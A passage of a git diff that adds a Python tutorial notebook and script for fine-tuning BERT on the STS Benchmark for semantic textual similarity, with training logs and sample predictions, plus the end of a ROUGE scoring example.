'rouge2', 'rougeL'], use_stemmer=True) + +# Single reference +candidate_summary = "the cat was found under the bed" +reference_summary = "the cat was under the bed" +scores = scorer.score(reference_summary, candidate_summary) +for key in scores: + print(f'{key}: {scores[key]}') + +# Multiple references +candidate_summary = "the cat was found under the bed" +reference_summaries = ["the cat was under the bed", "found a cat under the bed"] +scores = {key: [] for key in ['rouge1', 'rouge2', 'rougeL']} +for ref in reference_summaries: + temp_scores = scorer.score(ref, candidate_summary) + for key in temp_scores: + scores[key].append(temp_scores[key]) + +for key in scores: + print(f'{key}:\n{scores[key]}') \ No newline at end of file diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..952a0f75 --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb @@ -0,0 +1,1010 @@ +{ + "cells": [ + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "E2Cu87RMWw-P" + }, + "source": [ + "### 1. Install and import the required packages" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4Px8aik4VaOY" + }, + "outputs": [], + "source": [ + "!pip install transformers sentence-transformers datasets" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "RUsTXFi1bNRI" + }, + "outputs": [], + "source": [ + "from datasets import load_dataset\n", + "from sentence_transformers import SentenceTransformer, models\n", + "from transformers import BertTokenizer\n", + "from transformers import get_linear_schedule_with_warmup\n", + "import torch\n", + "from torch.optim import AdamW\n", + "from torch.utils.data import DataLoader\n", + "from tqdm import tqdm\n", + "import time\n", + "import datetime\n", + "import random\n", + "import numpy as np\n", + "import pandas as pd" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "zMdAdDQbzWmC" + }, + "source": [ + "### 2. Use Google Colab's GPU for training" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wB7TNNSrziMu", + "outputId": "53715022-a7af-439f-f978-637799295f85" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are 1 GPU(s) available.\n", + "We will use the GPU: Tesla T4\n" + ] + } + ], + "source": [ + "if torch.cuda.is_available(): \n", + " device = torch.device(\"cuda\")\n", + " print(f'There are {torch.cuda.device_count()} GPU(s) available.')\n", + " print('We will use the GPU:', torch.cuda.get_device_name(0))\n", + "else:\n", + " print('No GPU available, using the CPU instead.')\n", + " device = torch.device(\"cpu\")" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "kQ1Eel-3W-5b" + }, + "source": [ + "### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mgwlDDjtWM71" + }, + "outputs": [], + "source": [ + "# Load the English version of the STSB dataset\n", + "dataset = load_dataset(\"stsb_multi_mt\", \"en\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "BtUWgi0h_DjR", + "outputId": "bcd36c5b-7a37-4c8c-8bb5-8a46e7ed4d5c" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "DatasetDict({\n", + " train: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 5749\n", + " })\n", + " test: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 1379\n", + " })\n", + " dev: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 1500\n", + " })\n", + "})\n" + ] + } + ], + "source": [ + "print(dataset)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FEHZl4WeWv6r", + "outputId": "69885fad-1282-48e8-ab5e-29da8c548a85" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "A sample from the STSB dataset's training split:\n", + "{'sentence1': 'A man is slicing potatoes.', 'sentence2': 'A woman is peeling potato.', 'similarity_score': 2.200000047683716}\n" + ] + } + ], + "source": [ + "print(\"A sample from the STSB dataset's training split:\")\n", + "print(dataset['train'][98])" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "OjMKsIuxYv6D" + }, + "source": [ + "### **4.** Define the dataset loader class\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "f2Hc2uwabgJa" + }, + "outputs": [], + "source": [ + "# Instantiate the BERT tokenizer\n", + "# You can use larger variants of the model, here we're using the base model\n", + "tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "uEI1p5-SaM8t" + }, + "outputs": [], + "source": [ + "class STSBDataset(torch.utils.data.Dataset):\n", + "\n", + " def __init__(self, dataset):\n", + "\n", + " # Normalize the similarity scores in the dataset\n", + " similarity_scores = [i['similarity_score'] for i in dataset]\n", + " self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]\n", + " self.first_sentences = [i['sentence1'] for i in dataset]\n", + " self.second_sentences = [i['sentence2'] for i in dataset]\n", + " self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]\n", + "\n", + " def __len__(self):\n", + "\n", + " return len(self.concatenated_sentences)\n", + "\n", + " def get_batch_labels(self, idx):\n", + "\n", + " return torch.tensor(self.normalized_similarity_scores[idx])\n", + "\n", + " def get_batch_texts(self, idx):\n", + "\n", + " return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\")\n", + "\n", + " def __getitem__(self, idx):\n", + "\n", + " batch_texts = self.get_batch_texts(idx)\n", + " batch_y = self.get_batch_labels(idx)\n", + "\n", + " return batch_texts, batch_y\n", + "\n", + "\n", + "def collate_fn(texts):\n", + "\n", + " input_ids = texts['input_ids']\n", + " attention_masks = texts['attention_mask']\n", + "\n", + " features = [{'input_ids': input_id, 'attention_mask': attention_mask}\n", + " for input_id, attention_mask in zip(input_ids, attention_masks)]\n", + "\n", + " return features" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "w9ICUkr20JbP" + }, + "source": [ + "### 5. Define the model class based on BERT" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "EgTYEHC8b7kb" + }, + "outputs": [], + "source": [ + "class BertForSTS(torch.nn.Module):\n", + "\n", + " def __init__(self):\n", + "\n", + " super(BertForSTS, self).__init__()\n", + " self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)\n", + " self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())\n", + " self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])\n", + "\n", + " def forward(self, input_data):\n", + " output = self.sts_bert(input_data)['sentence_embedding']\n", + " return output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yMNCebmb4Hlt" + }, + "outputs": [], + "source": [ + "# Instantiate the model and move it to GPU\n", + "model = BertForSTS()\n", + "model.to(device)" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "IXqIA_D_2nYC" + }, + "source": [ + "### 6. Define the Cosine Similarity loss function" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ty7Q630Ob96f" + }, + "outputs": [], + "source": [ + "class CosineSimilarityLoss(torch.nn.Module):\n", + "\n", + " def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):\n", + " super(CosineSimilarityLoss, self).__init__()\n", + " self.loss_fn = loss_fn\n", + " self.transform_fn = transform_fn\n", + " self.cos_similarity = torch.nn.CosineSimilarity(dim=1)\n", + "\n", + " def forward(self, inputs, labels):\n", + " emb_1 = torch.stack([inp[0] for inp in inputs])\n", + " emb_2 = torch.stack([inp[1] for inp in inputs])\n", + " outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))\n", + " return self.loss_fn(outputs, labels.squeeze())" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "B688H4qY26ZG" + }, + "source": [ + "### 7. Prepare the training and validation data split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "PrQvEJgC4VeB", + "outputId": "2ce3100a-727a-4909-9481-7d6ff0464c12" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "5,749 training samples\n", + "1,500 validation samples\n" + ] + } + ], + "source": [ + "train_ds = STSBDataset(dataset['train'])\n", + "val_ds = STSBDataset(dataset['dev'])\n", + "\n", + "# Create a 90-10 train-validation split.\n", + "train_size = len(train_ds)\n", + "val_size = len(val_ds)\n", + "\n", + "print('{:>5,} training samples'.format(train_size))\n", + "print('{:>5,} validation samples'.format(val_size))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eUPorlzExygm" + }, + "outputs": [], + "source": [ + "batch_size = 8\n", + "\n", + "train_dataloader = DataLoader(\n", + " train_ds, # The training samples.\n", + " num_workers = 4,\n", + " batch_size = batch_size, # Use this batch size.\n", + " shuffle=True # Select samples randomly for each batch\n", + " )\n", + "\n", + "validation_dataloader = DataLoader(\n", + " val_ds,\n", + " num_workers = 4,\n", + " batch_size = batch_size # Use the same batch size\n", + " )" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "5avkJtGn2-al" + }, + "source": [ + "### 8. Define the Optimizer and Scheduler" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "lB_HcVbl3EZw" + }, + "outputs": [], + "source": [ + "optimizer = AdamW(model.parameters(),\n", + " lr = 1e-6)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "RVT3cA_-3NPP" + }, + "outputs": [], + "source": [ + "epochs = 8\n", + "\n", + "# Total number of training steps is [number of batches] x [number of epochs]. \n", + "total_steps = len(train_dataloader) * epochs\n", + "\n", + "scheduler = get_linear_schedule_with_warmup(optimizer, \n", + " num_warmup_steps = 0,\n", + " num_training_steps = total_steps)" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "zyIxF_7J3ep5" + }, + "source": [ + "### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JH7_0ASp3oDW" + }, + "outputs": [], + "source": [ + "# Takes a time in seconds and returns a string hh:mm:ss\n", + "def format_time(elapsed):\n", + " # Round to the nearest second.\n", + " elapsed_rounded = int(round((elapsed)))\n", + " \n", + " # Format as hh:mm:ss\n", + " return str(datetime.timedelta(seconds=elapsed_rounded))" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "jJFhpUJp92Qe" + }, + "source": [ + "### 10. Define the training function, and start the training loop" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "vdeUXU915NE5" + }, + "outputs": [], + "source": [ + "def train():\n", + " seed_val = 42\n", + "\n", + " criterion = CosineSimilarityLoss()\n", + " criterion = criterion.to(device)\n", + "\n", + " random.seed(seed_val)\n", + " torch.manual_seed(seed_val)\n", + "\n", + " # We'll store a number of quantities such as training and validation loss, \n", + " # validation accuracy, and timings.\n", + " training_stats = []\n", + " total_t0 = time.time()\n", + "\n", + " for epoch_i in range(0, epochs):\n", + " \n", + " # ========================================\n", + " # Training\n", + " # ========================================\n", + "\n", + " print(\"\")\n", + " print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))\n", + " print('Training...')\n", + "\n", + " t0 = time.time()\n", + "\n", + " total_train_loss = 0\n", + "\n", + " model.train()\n", + "\n", + " # For each batch of training data...\n", + " for train_data, train_label in tqdm(train_dataloader):\n", + "\n", + " train_data['input_ids'] = train_data['input_ids'].to(device)\n", + " train_data['attention_mask'] = train_data['attention_mask'].to(device)\n", + "\n", + " train_data = collate_fn(train_data)\n", + " model.zero_grad()\n", + "\n", + " output = [model(feature) for feature in train_data]\n", + "\n", + " loss = criterion(output, train_label.to(device))\n", + " total_train_loss += loss.item()\n", + "\n", + " loss.backward()\n", + " torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n", + " optimizer.step()\n", + " scheduler.step()\n", + "\n", + " \n", + " # Calculate the average loss over all of the batches.\n", + " avg_train_loss = total_train_loss / len(train_dataloader) \n", + " \n", + " # Measure how long this epoch took.\n", + " training_time = format_time(time.time() - t0)\n", + "\n", + " print(\"\")\n", + " print(\" Average training loss: {0:.5f}\".format(avg_train_loss))\n", + " print(\" Training epoch took: {:}\".format(training_time))\n", + " \n", + " # ========================================\n", + " # Validation\n", + " # ========================================\n", + "\n", + " print(\"\")\n", + " print(\"Running Validation...\")\n", + "\n", + " t0 = time.time()\n", + "\n", + " model.eval()\n", + "\n", + " total_eval_accuracy = 0\n", + " total_eval_loss = 0\n", + " nb_eval_steps = 0\n", + "\n", + " # Evaluate data for one epoch\n", + " for val_data, val_label in tqdm(validation_dataloader):\n", + "\n", + " val_data['input_ids'] = val_data['input_ids'].to(device)\n", + " val_data['attention_mask'] = val_data['attention_mask'].to(device)\n", + "\n", + " val_data = collate_fn(val_data)\n", + "\n", + " with torch.no_grad(): \n", + " output = [model(feature) for feature in val_data]\n", + "\n", + " loss = criterion(output, val_label.to(device))\n", + " total_eval_loss += loss.item()\n", + "\n", + " # Calculate the average loss over all of the batches.\n", + " avg_val_loss = total_eval_loss / len(validation_dataloader)\n", + " \n", + " # Measure how long the validation run took.\n", + " validation_time = format_time(time.time() - t0)\n", + " \n", + " print(\" Validation Loss: {0:.5f}\".format(avg_val_loss))\n", + " print(\" Validation took: {:}\".format(validation_time))\n", + "\n", + " # Record all statistics from this epoch.\n", + " training_stats.append(\n", + " {\n", + " 'epoch': epoch_i + 1,\n", + " 'Training Loss': avg_train_loss,\n", + " 'Valid. Loss': avg_val_loss,\n", + " 'Training Time': training_time,\n", + " 'Validation Time': validation_time\n", + " }\n", + " )\n", + "\n", + " print(\"\")\n", + " print(\"Training complete!\")\n", + "\n", + " print(\"Total training took {:} (h:mm:ss)\".format(format_time(time.time()-total_t0)))\n", + "\n", + " return model, training_stats" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "CoWW_TnZgSRf" + }, + "outputs": [], + "source": [ + "# Launch the training\n", + "model, training_stats = train()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 331 + }, + "id": "nEgMWBU7fzXh", + "outputId": "2adcb8b2-7fb3-422e-d08e-cf701c0240cf" + }, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "

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epoch
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Loss Training Time Validation Time\n", + "epoch \n", + "1 0.032639 0.037972 0:05:29 0:00:28\n", + "2 0.030737 0.035472 0:05:28 0:00:28\n", + "3 0.027920 0.033640 0:05:29 0:00:28\n", + "4 0.025090 0.032185 0:05:29 0:00:28\n", + "5 0.023217 0.030802 0:05:27 0:00:28\n", + "6 0.021199 0.030223 0:05:29 0:00:28\n", + "7 0.019567 0.029389 0:05:28 0:00:28\n", + "8 0.017866 0.028664 0:05:29 0:00:28" + ] + }, + "execution_count": 31, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Create a DataFrame from our training statistics\n", + "df_stats = pd.DataFrame(data=training_stats)\n", + "\n", + "# Use the 'epoch' as the row index\n", + "df_stats = df_stats.set_index('epoch')\n", + "\n", + "# Display the table\n", + "df_stats" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "X7ahIyP4zsXp", + "outputId": "ddd2fa70-5a34-4db3-b6ee-b784d59bfb2d" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "WARNING:datasets.builder:Found cached dataset stsb_multi_mt (/root/.cache/huggingface/datasets/stsb_multi_mt/en/1.0.0/a5d260e4b7aa82d1ab7379523a005a366d9b124c76a5a5cf0c4c5365458b0ba9)\n" + ] + } + ], + "source": [ + "test_dataset = load_dataset(\"stsb_multi_mt\", name=\"en\", split=\"test\")\n", + "\n", + "# Prepare the data\n", + "first_sent = [i['sentence1'] for i in test_dataset]\n", + "second_sent = [i['sentence2'] for i in test_dataset]\n", + "full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wD7oPneMkUhe" + }, + "outputs": [], + "source": [ + "model.eval()\n", + "\n", + "def predict_similarity(sentence_pair):\n", + " \n", + " test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\").to(device)\n", + " test_input['input_ids'] = test_input['input_ids']\n", + " test_input['attention_mask'] = test_input['attention_mask']\n", + " del test_input['token_type_ids']\n", + "\n", + " output = model(test_input)\n", + " sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item()\n", + "\n", + " return sim" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "e-lGkcofz6hS", + "outputId": "dd20141d-0496-4426-a97d-0c020612106d" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: A cat is walking around a house.\n", + "Sentence 2: A woman is peeling potato.\n", + "Predicted similarity score: 0.01\n" + ] + } + ], + "source": [ + "example_1 = full_text[100]\n", + "print(f\"Sentence 1: {example_1[0]}\")\n", + "print(f\"Sentence 2: {example_1[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_1), 2)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ViwfU0M2DOgh", + "outputId": "e677ea0a-4ac8-4d38-e0d8-06baa71bbcb9" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: Two men are playing football.\n", + "Sentence 2: Two men are practicing football.\n", + "Predicted similarity score: 0.84\n" + ] + } + ], + "source": [ + "example_2 = full_text[130]\n", + "print(f\"Sentence 1: {example_2[0]}\")\n", + "print(f\"Sentence 2: {example_2[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_2), 2)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "sGn-H7ARDnBG", + "outputId": "ea5b057d-40f4-4c9c-896e-ebe6223a6635" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Sentence 1: It varies by the situation.\n", + "Sentence 2: This varies by institution.\n", + "Predicted similarity score: 0.6\n" + ] + } + ], + "source": [ + "example_3 = full_text[812]\n", + "print(f\"Sentence 1: {example_3[0]}\")\n", + "print(f\"Sentence 2: {example_3[1]}\")\n", + "print(f\"Predicted similarity score: {round(predict_similarity(example_3), 2)}\")" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "_XovRH0VkXXs" + }, + "source": [ + "### Last but not least, save your model!" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Om3wskAQkaJP" + }, + "outputs": [], + "source": [ + "PATH = 'your/path/here'\n", + "torch.save(model.state_dict(), PATH)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wCe1I2soj-Kj" + }, + "outputs": [], + "source": [ + "# In order to load the model\n", + "# First, you have to create an instance of the model's class\n", + "# And use the saving path for the loading\n", + "# Don't forget to set the model to the evaluation state using .eval()\n", + "\n", + "model = BertForSTS()\n", + "model.load_state_dict(torch.load(PATH))\n", + "model.eval()" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "gpuType": "T4", + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py new file mode 100644 index 00000000..fd025d2e --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.py @@ -0,0 +1,390 @@ +# %% [markdown] +# ### 1. Install and import the required packages + +# %% +!pip install transformers sentence-transformers datasets + +# %% +from datasets import load_dataset +from sentence_transformers import SentenceTransformer, models +from transformers import BertTokenizer +from transformers import get_linear_schedule_with_warmup +import torch +from torch.optim import AdamW +from torch.utils.data import DataLoader +from tqdm import tqdm +import time +import datetime +import random +import numpy as np +import pandas as pd + +# %% [markdown] +# ### 2. Use Google Colab's GPU for training + +# %% +if torch.cuda.is_available(): + device = torch.device("cuda") + print(f'There are {torch.cuda.device_count()} GPU(s) available.') + print('We will use the GPU:', torch.cuda.get_device_name(0)) +else: + print('No GPU available, using the CPU instead.') + device = torch.device("cpu") + +# %% [markdown] +# ### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset + +# %% +# Load the English version of the STSB dataset +dataset = load_dataset("stsb_multi_mt", "en") + +# %% +print(dataset) + +# %% +print("A sample from the STSB dataset's training split:") +print(dataset['train'][98]) + +# %% [markdown] +# ### **4.** Define the dataset loader class +# + +# %% +# Instantiate the BERT tokenizer +# You can use larger variants of the model, here we're using the base model +tokenizer = BertTokenizer.from_pretrained('bert-base-uncased') + +# %% +class STSBDataset(torch.utils.data.Dataset): + + def __init__(self, dataset): + + # Normalize the similarity scores in the dataset + similarity_scores = [i['similarity_score'] for i in dataset] + self.normalized_similarity_scores = [i/5.0 for i in similarity_scores] + self.first_sentences = [i['sentence1'] for i in dataset] + self.second_sentences = [i['sentence2'] for i in dataset] + self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)] + + def __len__(self): + + return len(self.concatenated_sentences) + + def get_batch_labels(self, idx): + + return torch.tensor(self.normalized_similarity_scores[idx]) + + def get_batch_texts(self, idx): + + return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors="pt") + + def __getitem__(self, idx): + + batch_texts = self.get_batch_texts(idx) + batch_y = self.get_batch_labels(idx) + + return batch_texts, batch_y + + +def collate_fn(texts): + + input_ids = texts['input_ids'] + attention_masks = texts['attention_mask'] + + features = [{'input_ids': input_id, 'attention_mask': attention_mask} + for input_id, attention_mask in zip(input_ids, attention_masks)] + + return features + +# %% [markdown] +# ### 5. Define the model class based on BERT + +# %% +class BertForSTS(torch.nn.Module): + + def __init__(self): + + super(BertForSTS, self).__init__() + self.bert = models.Transformer('bert-base-uncased', max_seq_length=128) + self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension()) + self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer]) + + def forward(self, input_data): + output = self.sts_bert(input_data)['sentence_embedding'] + return output + +# %% +# Instantiate the model and move it to GPU +model = BertForSTS() +model.to(device) + +# %% [markdown] +# ### 6. Define the Cosine Similarity loss function + +# %% +class CosineSimilarityLoss(torch.nn.Module): + + def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()): + super(CosineSimilarityLoss, self).__init__() + self.loss_fn = loss_fn + self.transform_fn = transform_fn + self.cos_similarity = torch.nn.CosineSimilarity(dim=1) + + def forward(self, inputs, labels): + emb_1 = torch.stack([inp[0] for inp in inputs]) + emb_2 = torch.stack([inp[1] for inp in inputs]) + outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2)) + return self.loss_fn(outputs, labels.squeeze()) + +# %% [markdown] +# ### 7. Prepare the training and validation data split + +# %% +train_ds = STSBDataset(dataset['train']) +val_ds = STSBDataset(dataset['dev']) + +# Create a 90-10 train-validation split. +train_size = len(train_ds) +val_size = len(val_ds) + +print('{:>5,} training samples'.format(train_size)) +print('{:>5,} validation samples'.format(val_size)) + +# %% +batch_size = 8 + +train_dataloader = DataLoader( + train_ds, # The training samples. + num_workers = 4, + batch_size = batch_size, # Use this batch size. + shuffle=True # Select samples randomly for each batch + ) + +validation_dataloader = DataLoader( + val_ds, + num_workers = 4, + batch_size = batch_size # Use the same batch size + ) + +# %% [markdown] +# ### 8. Define the Optimizer and Scheduler + +# %% +optimizer = AdamW(model.parameters(), + lr = 1e-6) + +# %% +epochs = 8 + +# Total number of training steps is [number of batches] x [number of epochs]. +total_steps = len(train_dataloader) * epochs + +scheduler = get_linear_schedule_with_warmup(optimizer, + num_warmup_steps = 0, + num_training_steps = total_steps) + +# %% [markdown] +# ### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss` + +# %% +# Takes a time in seconds and returns a string hh:mm:ss +def format_time(elapsed): + # Round to the nearest second. + elapsed_rounded = int(round((elapsed))) + + # Format as hh:mm:ss + return str(datetime.timedelta(seconds=elapsed_rounded)) + +# %% [markdown] +# ### 10. Define the training function, and start the training loop + +# %% +def train(): + seed_val = 42 + + criterion = CosineSimilarityLoss() + criterion = criterion.to(device) + + random.seed(seed_val) + torch.manual_seed(seed_val) + + # We'll store a number of quantities such as training and validation loss, + # validation accuracy, and timings. + training_stats = [] + total_t0 = time.time() + + for epoch_i in range(0, epochs): + + # ======================================== + # Training + # ======================================== + + print("") + print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs)) + print('Training...') + + t0 = time.time() + + total_train_loss = 0 + + model.train() + + # For each batch of training data... + for train_data, train_label in tqdm(train_dataloader): + + train_data['input_ids'] = train_data['input_ids'].to(device) + train_data['attention_mask'] = train_data['attention_mask'].to(device) + + train_data = collate_fn(train_data) + model.zero_grad() + + output = [model(feature) for feature in train_data] + + loss = criterion(output, train_label.to(device)) + total_train_loss += loss.item() + + loss.backward() + torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0) + optimizer.step() + scheduler.step() + + + # Calculate the average loss over all of the batches. + avg_train_loss = total_train_loss / len(train_dataloader) + + # Measure how long this epoch took. + training_time = format_time(time.time() - t0) + + print("") + print(" Average training loss: {0:.5f}".format(avg_train_loss)) + print(" Training epoch took: {:}".format(training_time)) + + # ======================================== + # Validation + # ======================================== + + print("") + print("Running Validation...") + + t0 = time.time() + + model.eval() + + total_eval_accuracy = 0 + total_eval_loss = 0 + nb_eval_steps = 0 + + # Evaluate data for one epoch + for val_data, val_label in tqdm(validation_dataloader): + + val_data['input_ids'] = val_data['input_ids'].to(device) + val_data['attention_mask'] = val_data['attention_mask'].to(device) + + val_data = collate_fn(val_data) + + with torch.no_grad(): + output = [model(feature) for feature in val_data] + + loss = criterion(output, val_label.to(device)) + total_eval_loss += loss.item() + + # Calculate the average loss over all of the batches. + avg_val_loss = total_eval_loss / len(validation_dataloader) + + # Measure how long the validation run took. + validation_time = format_time(time.time() - t0) + + print(" Validation Loss: {0:.5f}".format(avg_val_loss)) + print(" Validation took: {:}".format(validation_time)) + + # Record all statistics from this epoch. + training_stats.append( + { + 'epoch': epoch_i + 1, + 'Training Loss': avg_train_loss, + 'Valid. Loss': avg_val_loss, + 'Training Time': training_time, + 'Validation Time': validation_time + } + ) + + print("") + print("Training complete!") + + print("Total training took {:} (h:mm:ss)".format(format_time(time.time()-total_t0))) + + return model, training_stats + +# %% +# Launch the training +model, training_stats = train() + +# %% +# Create a DataFrame from our training statistics +df_stats = pd.DataFrame(data=training_stats) + +# Use the 'epoch' as the row index +df_stats = df_stats.set_index('epoch') + +# Display the table +df_stats + +# %% +test_dataset = load_dataset("stsb_multi_mt", name="en", split="test") + +# Prepare the data +first_sent = [i['sentence1'] for i in test_dataset] +second_sent = [i['sentence2'] for i in test_dataset] +full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)] + +# %% +model.eval() + +def predict_similarity(sentence_pair): + + test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors="pt").to(device) + test_input['input_ids'] = test_input['input_ids'] + test_input['attention_mask'] = test_input['attention_mask'] + del test_input['token_type_ids'] + + output = model(test_input) + sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item() + + return sim + +# %% +example_1 = full_text[100] +print(f"Sentence 1: {example_1[0]}") +print(f"Sentence 2: {example_1[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_1), 2)}") + +# %% +example_2 = full_text[130] +print(f"Sentence 1: {example_2[0]}") +print(f"Sentence 2: {example_2[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_2), 2)}") + +# %% +example_3 = full_text[812] +print(f"Sentence 1: {example_3[0]}") +print(f"Sentence 2: {example_3[1]}") +print(f"Predicted similarity score: {round(predict_similarity(example_3), 2)}") + +# %% [markdown] +# ### Last but not least, save your model! + +# %% +PATH = 'your/path/here' +torch.save(model.state_dict(), PATH) + +# %% +# In order to load the model +# First, you have to create an instance of the model's class +# And use the saving path for the loading +# Don't forget to set the model to the evaluation state using .eval() + +model = BertForSTS() +model.load_state_dict(torch.load(PATH)) +model.eval() + + diff --git a/machine-learning/nlp/semantic-textual-similarity/README.md b/machine-learning/nlp/semantic-textual-similarity/README.md new file mode 100644 index 00000000..20745c3f --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/README.md @@ -0,0 +1 @@ +# [How to Fine Tune BERT for 